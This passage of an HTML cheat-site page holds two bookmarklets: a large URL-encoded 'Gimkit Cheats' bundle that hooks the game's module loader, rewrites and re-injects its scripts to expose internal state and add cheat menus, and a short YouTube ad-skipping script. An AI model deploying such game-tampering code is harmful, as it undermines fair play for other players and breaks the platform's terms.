e%2Cnull%2Cii%2Ci%2C%7B%7D)%7D%7Dfunction%20ai(t)%7Blet%20n%2Cr%3Breturn%20n%3Dnew%20lo(%7Bprops%3A%7Bmessage%3A%22Rapid%20fire%22%2ChotkeyId%3A%22knockbackRapidFire%22%7D%7D)%2C%7Bc()%7Bhe(n.%24%24.fragment)%7D%2Cm(e%2Ct)%7Bpe(n%2Ce%2Ct)%2Cr%3D!0%7D%2Cp%3Ae%2Ci(e)%7Br%7C%7C(le(n.%24%24.fragment%2Ce)%2Cr%3D!0)%7D%2Co(e)%7Bue(n.%24%24.fragment%2Ce)%2Cr%3D!1%7D%2Cd(e)%7Bge(n%2Ce)%7D%7D%7Dfunction%20ci(e)%7Blet%20t%2Cn%3Breturn%20t%3Dnew%20Xt(%7Bprops%3A%7Bname%3A%22Knockback%22%2C%24%24slots%3A%7Bdefault%3A%5Bai%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cr)%7Bpe(t%2Ce%2Cr)%2Cn%3D!0%7D%2Cp(e%2C%5Bn%5D)%7Bconst%20r%3D%7B%7D%3B1%26n%26%26(r.%24%24scope%3D%7Bdirty%3An%2Cctx%3Ae%7D)%2Ct.%24set(r)%7D%2Ci(e)%7Bn%7C%7C(le(t.%24%24.fragment%2Ce)%2Cn%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cn%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dclass%20li%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Cnull%2Cci%2Ci%2C%7B%7D)%7D%7Dfunction%20ui(e)%7Bx(e%2C%22svelte-1byew0x%22%2C%22%23gc-hud.svelte-1byew0x%7Bposition%3Aabsolute%3Btop%3A0%3Bleft%3A0%3Bz-index%3A9999999999%3Bwidth%3A100vw%3Bheight%3A100vh%3Bpointer-events%3Anone%3Bcolor%3Avar(--textColor)%7D%22)%7Dfunction%20fi(t)%7Blet%20n%2Cr%2Co%2Ci%2Cs%2Ca%2Cc%2Cl%3Breturn%20n%3Dnew%20nn(%7Bprops%3A%7Btext%3A%22Background%20Color%22%2CbindValue%3A%22menuBackgroundColor%22%7D%7D)%2Co%3Dnew%20nn(%7Bprops%3A%7Btext%3A%22Outline%20Color%22%2CbindValue%3A%22menuOutlineColor%22%7D%7D)%2Cs%3Dnew%20nn(%7Bprops%3A%7Btext%3A%22Header%20Color%22%2CbindValue%3A%22menuHeaderBackgroundColor%22%7D%7D)%2Cc%3Dnew%20nn(%7Bprops%3A%7Btext%3A%22Header%20Text%20Color%22%2CbindValue%3A%22menuHeaderTextColor%22%7D%7D)%2C%7Bc()%7Bhe(n.%24%24.fragment)%2Cr%3DT()%2Che(o.%24%24.fragment)%2Ci%3DT()%2Che(s.%24%24.fragment)%2Ca%3DT()%2Che(c.%24%24.fragment)%7D%2Cm(e%2Ct)%7Bpe(n%2Ce%2Ct)%2CE(e%2Cr%2Ct)%2Cpe(o%2Ce%2Ct)%2CE(e%2Ci%2Ct)%2Cpe(s%2Ce%2Ct)%2CE(e%2Ca%2Ct)%2Cpe(c%2Ce%2Ct)%2Cl%3D!0%7D%2Cp%3Ae%2Ci(e)%7Bl%7C%7C(le(n.%24%24.fragment%2Ce)%2Cle(o.%24%24.fragment%2Ce)%2Cle(s.%24%24.fragment%2Ce)%2Cle(c.%24%24.fragment%2Ce)%2Cl%3D!0)%7D%2Co(e)%7Bue(n.%24%24.fragment%2Ce)%2Cue(o.%24%24.fragment%2Ce)%2Cue(s.%24%24.fragment%2Ce)%2Cue(c.%24%24.fragment%2Ce)%2Cl%3D!1%7D%2Cd(e)%7Be%26%26(_(r)%2C_(i)%2C_(a))%2Cge(n%2Ce)%2Cge(o%2Ce)%2Cge(s%2Ce)%2Cge(c%2Ce)%7D%7D%7Dfunction%20di(t)%7Blet%20n%2Cr%2Co%2Ci%3Breturn%20n%3Dnew%20nn(%7Bprops%3A%7Btext%3A%22Background%20Color%22%2CbindValue%3A%22buttonBackgroundColor%22%7D%7D)%2Co%3Dnew%20nn(%7Bprops%3A%7Btext%3A%22Outline%20Color%22%2CbindValue%3A%22buttonBorderColor%22%7D%7D)%2C%7Bc()%7Bhe(n.%24%24.fragment)%2Cr%3DT()%2Che(o.%24%24.fragment)%7D%2Cm(e%2Ct)%7Bpe(n%2Ce%2Ct)%2CE(e%2Cr%2Ct)%2Cpe(o%2Ce%2Ct)%2Ci%3D!0%7D%2Cp%3Ae%2Ci(e)%7Bi%7C%7C(le(n.%24%24.fragment%2Ce)%2Cle(o.%24%24.fragment%2Ce)%2Ci%3D!0)%7D%2Co(e)%7Bue(n.%24%24.fragment%2Ce)%2Cue(o.%24%24.fragment%2Ce)%2Ci%3D!1%7D%2Cd(e)%7Be%26%26_(r)%2Cge(n%2Ce)%2Cge(o%2Ce)%7D%7D%7Dfunction%20hi(e)%7Blet%20t%2Cn%2Cr%2Co%2Ci%2Cs%3Breturn%20t%3Dnew%20nn(%7Bprops%3A%7Btext%3A%22Text%20Color%22%2CbindValue%3A%22textColor%22%2CminOpactiy%3A.3%7D%7D)%2Cr%3Dnew%20Xt(%7Bprops%3A%7Bname%3A%22Menu%20Appearance%22%2C%24%24slots%3A%7Bdefault%3A%5Bfi%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2Ci%3Dnew%20Xt(%7Bprops%3A%7Bname%3A%22Button%20Appearance%22%2C%24%24slots%3A%7Bdefault%3A%5Bdi%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%2Cn%3DT()%2Che(r.%24%24.fragment)%2Co%3DT()%2Che(i.%24%24.fragment)%7D%2Cm(e%2Ca)%7Bpe(t%2Ce%2Ca)%2CE(e%2Cn%2Ca)%2Cpe(r%2Ce%2Ca)%2CE(e%2Co%2Ca)%2Cpe(i%2Ce%2Ca)%2Cs%3D!0%7D%2Cp(e%2Ct)%7Bconst%20n%3D%7B%7D%3B2%26t%26%26(n.%24%24scope%3D%7Bdirty%3At%2Cctx%3Ae%7D)%2Cr.%24set(n)%3Bconst%20o%3D%7B%7D%3B2%26t%26%26(o.%24%24scope%3D%7Bdirty%3At%2Cctx%3Ae%7D)%2Ci.%24set(o)%7D%2Ci(e)%7Bs%7C%7C(le(t.%24%24.fragment%2Ce)%2Cle(r.%24%24.fragment%2Ce)%2Cle(i.%24%24.fragment%2Ce)%2Cs%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cue(r.%24%24.fragment%2Ce)%2Cue(i.%24%24.fragment%2Ce)%2Cs%3D!1%7D%2Cd(e)%7Be%26%26(_(n)%2C_(o))%2Cge(t%2Ce)%2Cge(r%2Ce)%2Cge(i%2Ce)%7D%7D%7Dfunction%20pi(e)%7Blet%20t%2Cn%2Cr%2Co%2Ci%2Cs%2Ca%2Cc%3Breturn%20t%3Dnew%20Xt(%7Bprops%3A%7Bname%3A%22HUD%20Appearance%22%2C%24%24slots%3A%7Bdefault%3A%5Bhi%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2Cr%3Dnew%20an(%7B%7D)%2Ci%3Dnew%20Pn(%7B%7D)%2Ca%3Dnew%20lr(%7B%7D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%2Cn%3DT()%2Che(r.%24%24.fragment)%2Co%3DT()%2Che(i.%24%24.fragment)%2Cs%3DT()%2Che(a.%24%24.fragment)%7D%2Cm(e%2Cl)%7Bpe(t%2Ce%2Cl)%2CE(e%2Cn%2Cl)%2Cpe(r%2Ce%2Cl)%2CE(e%2Co%2Cl)%2Cpe(i%2Ce%2Cl)%2CE(e%2Cs%2Cl)%2Cpe(a%2Ce%2Cl)%2Cc%3D!0%7D%2Cp(e%2Cn)%7Bconst%20r%3D%7B%7D%3B2%26n%26%26(r.%24%24scope%3D%7Bdirty%3An%2Cctx%3Ae%7D)%2Ct.%24set(r)%7D%2Ci(e)%7Bc%7C%7C(le(t.%24%24.fragment%2Ce)%2Cle(r.%24%24.fragment%2Ce)%2Cle(i.%24%24.fragment%2Ce)%2Cle(a.%24%24.fragment%2Ce)%2Cc%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cue(r.%24%24.fragment%2Ce)%2Cue(i.%24%24.fragment%2Ce)%2Cue(a.%24%24.fragment%2Ce)%2Cc%3D!1%7D%2Cd(e)%7Be%26%26(_(n)%2C_(o)%2C_(s))%2Cge(t%2Ce)%2Cge(r%2Ce)%2Cge(i%2Ce)%2Cge(a%2Ce)%7D%7D%7Dfunction%20gi(e)%7Blet%20t%2Cn%2Cr%2Co%2Ci%2Cs%2Ca%2Cc%2Cl%2Cu%2Cf%2Cd%3Breturn%20t%3Dnew%20mn(%7B%7D)%2Cr%3Dnew%20vn(%7B%7D)%2Ci%3Dnew%20Uo(%7B%7D)%2Ca%3Dnew%20gr(%7B%7D)%2Cl%3Dnew%20Tr(%7B%7D)%2Cf%3Dnew%20Sr(%7B%7D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%2Cn%3DT()%2Che(r.%24%24.fragment)%2Co%3DT()%2Che(i.%24%24.fragment)%2Cs%3DT()%2Che(a.%24%24.fragment)%2Cc%3DT()%2Che(l.%24%24.fragment)%2Cu%3DT()%2Che(f.%24%24.fragment)%7D%2Cm(e%2Ch)%7Bpe(t%2Ce%2Ch)%2CE(e%2Cn%2Ch)%2Cpe(r%2Ce%2Ch)%2CE(e%2Co%2Ch)%2Cpe(i%2Ce%2Ch)%2CE(e%2Cs%2Ch)%2Cpe(a%2Ce%2Ch)%2CE(e%2Cc%2Ch)%2Cpe(l%2Ce%2Ch)%2CE(e%2Cu%2Ch)%2Cpe(f%2Ce%2Ch)%2Cd%3D!0%7D%2Ci(e)%7Bd%7C%7C(le(t.%24%24.fragment%2Ce)%2Cle(r.%24%24.fragment%2Ce)%2Cle(i.%24%24.fragment%2Ce)%2Cle(a.%24%24.fragment%2Ce)%2Cle(l.%24%24.fragment%2Ce)%2Cle(f.%24%24.fragment%2Ce)%2Cd%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cue(r.%24%24.fragment%2Ce)%2Cue(i.%24%24.fragment%2Ce)%2Cue(a.%24%24.fragment%2Ce)%2Cue(l.%24%24.fragment%2Ce)%2Cue(f.%24%24.fragment%2Ce)%2Cd%3D!1%7D%2Cd(e)%7Be%26%26(_(n)%2C_(o)%2C_(s)%2C_(c)%2C_(u))%2Cge(t%2Ce)%2Cge(r%2Ce)%2Cge(i%2Ce)%2Cge(a%2Ce)%2Cge(l%2Ce)%2Cge(f%2Ce)%7D%7D%7Dfunction%20mi(e)%7Blet%20t%2Cn%2Cr%2Co%2Ci%2Cs%2Ca%2Cc%2Cl%2Cu%2Cf%2Cd%2Ch%2Cp%2Cg%2Cm%2C%24%2Cy%2Cv%2Cb%2Cw%2Cx%3Breturn%20t%3Dnew%20Dr(%7B%7D)%2Cr%3Dnew%20jr(%7B%7D)%2Ci%3Dnew%20si(%7B%7D)%2Ca%3Dnew%20li(%7B%7D)%2Cl%3Dnew%20eo(%7B%7D)%2Cf%3Dnew%20ro(%7B%7D)%2Ch%3Dnew%20so(%7B%7D)%2Cg%3Dnew%20ho(%7B%7D)%2C%24%3Dnew%20Eo(%7B%7D)%2Cv%3Dnew%20Fr(%7B%7D)%2Cw%3Dnew%20Mo(%7B%7D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%2Cn%3DT()%2Che(r.%24%24.fragment)%2Co%3DT()%2Che(i.%24%24.fragment)%2Cs%3DT()%2Che(a.%24%24.fragment)%2Cc%3DT()%2Che(l.%24%24.fragment)%2Cu%3DT()%2Che(f.%24%24.fragment)%2Cd%3DT()%2Che(h.%24%24.fragment)%2Cp%3DT()%2Che(g.%24%24.fragment)%2Cm%3DT()%2Che(%24.%24%24.fragment)%2Cy%3DT()%2Che(v.%24%24.fragment)%2Cb%3DT()%2Che(w.%24%24.fragment)%7D%2Cm(e%2C_)%7Bpe(t%2Ce%2C_)%2CE(e%2Cn%2C_)%2Cpe(r%2Ce%2C_)%2CE(e%2Co%2C_)%2Cpe(i%2Ce%2C_)%2CE(e%2Cs%2C_)%2Cpe(a%2Ce%2C_)%2CE(e%2Cc%2C_)%2Cpe(l%2Ce%2C_)%2CE(e%2Cu%2C_)%2Cpe(f%2Ce%2C_)%2CE(e%2Cd%2C_)%2Cpe(h%2Ce%2C_)%2CE(e%2Cp%2C_)%2Cpe(g%2Ce%2C_)%2CE(e%2Cm%2C_)%2Cpe(%24%2Ce%2C_)%2CE(e%2Cy%2C_)%2Cpe(v%2Ce%2C_)%2CE(e%2Cb%2C_)%2Cpe(w%2Ce%2C_)%2Cx%3D!0%7D%2Ci(e)%7Bx%7C%7C(le(t.%24%24.fragment%2Ce)%2Cle(r.%24%24.fragment%2Ce)%2Cle(i.%24%24.fragment%2Ce)%2Cle(a.%24%24.fragment%2Ce)%2Cle(l.%24%24.fragment%2Ce)%2Cle(f.%24%24.fragment%2Ce)%2Cle(h.%24%24.fragment%2Ce)%2Cle(g.%24%24.fragment%2Ce)%2Cle(%24.%24%24.fragment%2Ce)%2Cle(v.%24%24.fragment%2Ce)%2Cle(w.%24%24.fragment%2Ce)%2Cx%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cue(r.%24%24.fragment%2Ce)%2Cue(i.%24%24.fragment%2Ce)%2Cue(a.%24%24.fragment%2Ce)%2Cue(l.%24%24.fragment%2Ce)%2Cue(f.%24%24.fragment%2Ce)%2Cue(h.%24%24.fragment%2Ce)%2Cue(g.%24%24.fragment%2Ce)%2Cue(%24.%24%24.fragment%2Ce)%2Cue(v.%24%24.fragment%2Ce)%2Cue(w.%24%24.fragment%2Ce)%2Cx%3D!1%7D%2Cd(e)%7Be%26%26(_(n)%2C_(o)%2C_(s)%2C_(c)%2C_(u)%2C_(d)%2C_(p)%2C_(m)%2C_(y)%2C_(b))%2Cge(t%2Ce)%2Cge(r%2Ce)%2Cge(i%2Ce)%2Cge(a%2Ce)%2Cge(l%2Ce)%2Cge(f%2Ce)%2Cge(h%2Ce)%2Cge(g%2Ce)%2Cge(%24%2Ce)%2Cge(v%2Ce)%2Cge(w%2Ce)%7D%7D%7Dfunction%20%24i(e)%7Blet%20t%2Cn%2Cr%2Co%2Ci%2Cs%2Ca%3Breturn%20n%3Dnew%20mt(%7Bprops%3A%7Bname%3A%22Customization%22%2C%24%24slots%3A%7Bdefault%3A%5Bpi%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2Co%3Dnew%20mt(%7Bprops%3A%7Bname%3A%22General%20Cheats%22%2C%24%24slots%3A%7Bdefault%3A%5Bgi%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2Cs%3Dnew%20mt(%7Bprops%3A%7Bname%3A%22Gamemode%20Specific%20Cheats%22%2C%24%24slots%3A%7Bdefault%3A%5Bmi%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2C%7Bc()%7Bt%3DO(%22div%22)%2Che(n.%24%24.fragment)%2Cr%3DT()%2Che(o.%24%24.fragment)%2Ci%3DT()%2Che(s.%24%24.fragment)%2CM(t%2C%22id%22%2C%22gc-hud%22)%2Cq(t%2C%22display%22%2Ce%5B0%5D%3F%22block%22%3A%22none%22)%2CM(t%2C%22class%22%2C%22svelte-1byew0x%22)%7D%2Cm(e%2Cc)%7BE(e%2Ct%2Cc)%2Cpe(n%2Ct%2Cnull)%2Cw(t%2Cr)%2Cpe(o%2Ct%2Cnull)%2Cw(t%2Ci)%2Cpe(s%2Ct%2Cnull)%2Ca%3D!0%7D%2Cp(e%2C%5Br%5D)%7Bconst%20i%3D%7B%7D%3B2%26r%26%26(i.%24%24scope%3D%7Bdirty%3Ar%2Cctx%3Ae%7D)%2Cn.%24set(i)%3Bconst%20c%3D%7B%7D%3B2%26r%26%26(c.%24%24scope%3D%7Bdirty%3Ar%2Cctx%3Ae%7D)%2Co.%24set(c)%3Bconst%20l%3D%7B%7D%3B2%26r%26%26(l.%24%24scope%3D%7Bdirty%3Ar%2Cctx%3Ae%7D)%2Cs.%24set(l)%2C(!a%7C%7C1%26r)%26%26q(t%2C%22display%22%2Ce%5B0%5D%3F%22block%22%3A%22none%22)%7D%2Ci(e)%7Ba%7C%7C(le(n.%24%24.fragment%2Ce)%2Cle(o.%24%24.fragment%2Ce)%2Cle(s.%24%24.fragment%2Ce)%2Ca%3D!0)%7D%2Co(e)%7Bue(n.%24%24.fragment%2Ce)%2Cue(o.%24%24.fragment%2Ce)%2Cue(s.%24%24.fragment%2Ce)%2Ca%3D!1%7D%2Cd(e)%7Be%26%26_(t)%2Cge(n)%2Cge(o)%2Cge(s)%7D%7D%7Dfunction%20yi(e%2Ct%2Cn)%7Blet%20r%3Breturn%20c(e%2Cct%2C(e%3D%3En(0%2Cr%3De)))%2Cxt.addKeybind(new%20Set(%5B%22%5C%5C%22%5D)%2C(()%3D%3E%7Bct.update((e%3D%3E!e))%7D))%2C%5Br%5D%7Dclass%20vi%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Cyi%2C%24i%2Ci%2C%7B%7D%2Cui)%7D%7Dfunction%20bi(e)%7Bconsole.log(e)%2Cfetch(e).then((e%3D%3Ee.text())).then((e%3D%3E%7Bconst%20t%3De.indexOf('%3A%22App.')%3Bif(!t)return%20void%20alert(%22GC%3A%20Failed%20to%20find%20the%20correct%20script%20to%20modify.%20Please%20open%20an%20issue%20on%20GitHub.%22)%3Bconst%20n%3De.substring(t-7%2Ct)%2Cr%3De.lastIndexOf(%22).register(JSON.parse(%22%2Ct)%2Co%3De.substring(r-7%2Cr)%2Ci%3Dnew%20RegExp(%60import%5C%5C(%22%5C%5C.%5C%5C%2F%22%5C%5C%2B(.)%5C%5C(%24%7Bo%7D%5C%5C)%5C%5C.resolve%5C%5C(%24%7Bn%7D%5C%5C)%5C%5C)%60%2C%22g%22)%2Cs%3Di.exec(e)%3F.%5B1%5D%3Bif(!s)return%20void%20alert(%22GC%3A%20Failed%20to%20find%20the%20correct%20script%20to%20modify.%20Please%20open%20an%20issue%20on%20GitHub.%22)%3Be%3D(e%3De.replace(i%2C%60new%20Promise(async%20(resolve)%20%3D%3E%20%7B%5Cn%20%20%20%20const%20src%20%3D%20%22.%2F%22%2B%24%7Bs%7D(%24%7Bo%7D).resolve(%24%7Bn%7D)%5Cn%20%20%20%20console.log(src)%5Cn%20%20%20%20const%20res%20%3D%20await%20fetch(src)%5Cn%20%20%20%20let%20text%20%3D%20await%20res.text()%5Cn%20%20%20%20const%20endRegex%20%3D%20%2Fassignment%3Anew%5C%5C(0%2C(.)%5C%5C.default%5C%5C)%5C%5C%7D%2F%5Cn%20%20%20%20const%20endRes%20%3D%20endRegex.exec(text)%5Cn%20%20%20%20const%20varRegex%20%3D%20%2F(.)%3D%7Bnetwork%3Anew%2F%5Cn%20%20%20%20const%20varRes%20%3D%20varRegex.exec(text)%5Cn%20%20%20%20if(!endRes%5B1%5D%20%7C%7C%20!varRes%5B1%5D)%20%7B%5Cn%20%20%20%20%20%20%20%20alert(%22GC%3A%20Failed%20to%20find%20the%20correct%20script%20to%20modify.%20Please%20open%20an%20issue%20on%20GitHub.%22)%5Cn%20%20%20%20%20%20%20%20return%3B%5Cn%20%20%20%20%7D%5Cn%20%20%20%20text%20%3D%20text.replace(endRegex%2C%20'assignment%3Anew(0%2C'%2BendRes%5B1%5D%2B'.default)%7D%3Bwindow.stores%3D'%2BvarRes%5B1%5D%2B'%3Bwindow.storesLoaded.set(true)%3Bconsole.log(%22GC%3A%20Stores%20loaded%20via%20intercept%22)%3B')%5Cn%5Cn%20%20%20%20const%20script%20%3D%20document.createElement('script')%3B%5Cn%20%20%20%20try%20%7B%5Cn%20%20%20%20%20%20%20%20script.appendChild(document.createTextNode(text))%3B%5Cn%20%20%20%20%20%20%20%20document.head.appendChild(script)%3B%5Cn%20%20%20%20%7D%20catch(e)%20%7B%20%5Cn%20%20%20%20%20%20%20%20script.text%20%3D%20text%3B%5Cn%20%20%20%20%20%20%20%20document.head.appendChild(script)%3B%5Cn%20%20%20%20%7D%5Cn%20%20%20%20setTimeout(resolve%2C%200)%5Cn%7D)%60)).replace(%2F%22%5C.%5C%2F%22%2Fg%2C'%22%2F%22')%3Bconst%20a%3Ddocument.createElement(%22script%22)%3Ba.type%3D%22module%22%2Cdocument.querySelector(%22%23root%22)%3F.remove()%3Blet%20c%3Ddocument.createElement(%22div%22)%3Bc.id%3D%22root%22%2Cdocument.body.appendChild(c)%3Btry%7Ba.appendChild(document.createTextNode(e))%2Cdocument.head.appendChild(a)%7Dcatch(t)%7Ba.text%3De%2Cdocument.head.appendChild(a)%7D%7D))%7Dclass%20wi%20extends%20EventTarget%7B_parcelModuleCache%3D%7B%7D%3B_parcelModules%3D%7B%7D%3BreqIntercepts%3D%5B%5D%3BreadyToIntercept%3D!0%3Bconstructor()%7Bsuper()%3Blet%20e%3Ddocument.querySelectorAll('script%5Bsrc*%3D%22index%22%5D%3Anot(%5Bnomodule%5D)')%3Be.length%3E0%3F(this.readyToIntercept%3D!1%2Cwindow.addEventListener(%22load%22%2C(()%3D%3E%7Bthis.setup()%2Cthis.reloadExistingScripts(e)%7D)))%3Athis.setup()%2CHe().decachedImport%3Dthis.decachedImport.bind(this)%7Dasync%20reloadExistingScripts(e)%7Bthis.nukeDom()%2Cthis.readyToIntercept%3D!0%2Cthis.emptyModules()%2Ce.forEach((e%3D%3E%7Bconsole.log(e%2C%22has%20already%20loaded%2C%20re-importing...%22)%2Cthis.decachedImport(e.src)%2Ce.remove()%7D))%7DnukeDom()%7Bdocument.querySelector(%22%23root%22)%3F.remove()%3Blet%20e%3Ddocument.createElement(%22div%22)%3Be.id%3D%22root%22%2Cdocument.body.appendChild(e)%3Blet%20t%3D%5B%22__mobxGlobals%22%2C%22__mobxInstanceCount%22%5D%3Bfor(let%20e%20of%20t)e%20in%20window%26%26delete%20window%5Be%5D%7Dasync%20decachedImport(e)%7Blet%20t%3Dnew%20URL(e%2Clocation.origin).href%2Cn%3Dawait%20fetch(t)%2Cr%3Dawait%20n.text()%3Br%3Dr.replaceAll(%22import(%22%2C%22window.decachedImport(%22)%2Cr%3Dr.replaceAll(%22import.meta.url%22%2C%60'%24%7Bt%7D'%60)%3Blet%20o%3Dnew%20Blob(%5Br%5D%2C%7Btype%3A%22application%2Fjavascript%22%7D)%2Ci%3DURL.createObjectURL(o)%3Breturn%20import(i)%7DemptyModules()%7Bthis._parcelModuleCache%3D%7B%7D%2Cthis._parcelModules%3D%7B%7D%7DinterceptRequire(e%2Ct%2Cn%3D!1)%7Bif(!e%7C%7C!t)throw%20new%20Error(%22match%20and%20callback%20are%20required%22)%3Blet%20r%3D%7Bmatch%3Ae%2Ccallback%3At%2Conce%3An%7D%3Breturn%20this.reqIntercepts.push(r)%2C()%3D%3E%7Blet%20e%3Dthis.reqIntercepts.indexOf(r)%3B-1!%3D%3De%26%26this.reqIntercepts.splice(e%2C1)%7D%7Dsetup()%7Blet%20e%2Ct%3DHe().parcelRequire388b%3B(e%3De%3D%3E%7Bif(e%20in%20this._parcelModuleCache)return%20this._parcelModuleCache%5Be%5D.exports%3Bif(e%20in%20this._parcelModules)%7Blet%20t%3Dthis._parcelModules%5Be%5D%3Bdelete%20this._parcelModules%5Be%5D%3Blet%20n%3D%7Bid%3Ae%2Cexports%3A%7B%7D%7D%3Bif(this._parcelModuleCache%5Be%5D%3Dn%2Ct.call(n.exports%2Cn%2Cn.exports)%2Cthis.readyToIntercept)for(let%20e%20of%20this.reqIntercepts)if(e.match(n.exports))%7Blet%20t%3De.callback%3F.(n.exports)%3Bt%26%26(n.exports%3Dt)%2Ce.once%26%26this.reqIntercepts.splice(this.reqIntercepts.indexOf(e)%2C1)%7Dreturn%20n.exports%7Dthrow%20new%20Error(%60Cannot%20find%20module%20'%24%7Be%7D'%60)%7D).register%3D(e%2Cn)%3D%3E%7Bthis._parcelModules%5Be%5D%3Dn%2Ce%20in%20this._parcelModuleCache%26%26delete%20this._parcelModuleCache%5Be%5D%2Ct%26%26t.register(e%2Cn)%7D%2CObject.defineProperty(He()%2C%22parcelRequire388b%22%2C%7Bvalue%3Ae%2Cwritable%3A!1%2Cenumerable%3A!0%2Cconfigurable%3A!1%7D)%7D%7Dif(null!%3D%3Ddocument.querySelector('script%5Bsrc*%3D%22amplitude.com%22%5D'))alert(%22This%20script%20can%20only%20be%20run%20before%20you%20join%20the%20game.%20Please%20reload%20the%20page%20and%20try%20again.%22)%3Belse%7B!function(e)%7Be.interceptRequire((e%3D%3Ee%3F.default%3F.characters)%2C(e%3D%3E%7BHe().stores%3De.default%2Clt.set(!0)%2Cconsole.log(%22GC%3A%20Stores%20loaded%20via%20parcel%22)%7D))%2Ce.interceptRequire((e%3D%3Ee%3F.CharacterPhysicsConsts)%2C(e%3D%3E%7BNo.set(e.CharacterPhysicsConsts)%2Cconsole.log(%22GC%3A%20Physics%20constants%20loaded%22)%7D))%7D(new%20wi)%2Cfunction()%7Bconst%20e%3Ddocument.querySelector('script%5Bsrc%5E%3D%22%2Findex%22%5D%5Btype%3D%22module%22%5D')%3Bif(e)return%20bi(e.src)%2Cvoid%20console.log(%22GC%3A%20Added%20modified%20script%22%2Ce)%3Blet%20t%3Dnew%20MutationObserver((e%3D%3E%7Bfor(let%20n%20of%20e)for(let%20e%20of%20n.addedNodes)e%20instanceof%20HTMLScriptElement%26%26e.src.includes(%22%2Findex%22)%26%26%22module%22%3D%3De.type%26%26(bi(e.src)%2Cconsole.log(%22GC%3A%20Added%20modified%20script%22%2Ce)%2Ct.disconnect())%7D))%3Bconst%20n%3D()%3D%3E%7Bt.observe(document.head%2C%7BchildList%3A!0%7D)%7D%3Bdocument.head%3Fn()%3Adocument.addEventListener(%22DOMContentLoaded%22%2Cn)%7D()%2Cat.setup()%2Casync%20function()%7Bdocument.body%7C%7Cawait%20new%20Promise((e%3D%3Ewindow.addEventListener(%22DOMContentLoaded%22%2Ce)))%2Cnew%20vi(%7Btarget%3Adocument.body%7D)%2Casync%20function()%7Bdocument.documentElement%7C%7Cawait%20new%20Promise((e%3D%3Ewindow.addEventListener(%22DOMContentLoaded%22%2Ce)))%3Bfor(let%5Be%2Ct%5Dof%20Object.entries(Ne))document.documentElement.style.setProperty(%60--%24%7Be%7D%60%2Ct)%7D()%7D()%7D%7D()%3B})()">
<p class="cheat-title">Gimkit Cheats</p>
<p class="cheat-creator">By: TheLazySquid</p>
</a>
<a class="cheat" href="javascript:(function(){ function skipAd() { while (document.getElementsByClassName('video-ads')[0].innerHTML !== '') { var banner = false; for (var i = 0; i < document.getElementsByClassName('ytp-ad-overlay-close-button').length; i++) { document.getElementsByClassName('ytp-ad-overlay-close-button')[i].click(); banner = true; } if (banner === false) { document.getElementsByClassName('html5-main-video')[0].currentTime = document.getElementsByClassName('html5-main-video')[0].duration; document.getElementsByClassName('ytp-ad-skip-button')[0].click(); } } } skipAd();})();">
<p class="cheat-title">Skip YT Ad Hack</p>
<p class="cheat-creator">By: X-88 (From HyperTabs)</p>
</a>
</div>
</div>
<div class="space" style="margin-bottom: 5%;"></div>
<script src="/scripts/settings/settings.js"></script>
<script src="/scripts/inject/cheats.js"></script>
<script src="/scripts/main/ua.js"></script>
<script src="/scripts/settings/themes.js"></script>
<script src="/scripts/inject/footer.js"></script>
</body>
</html>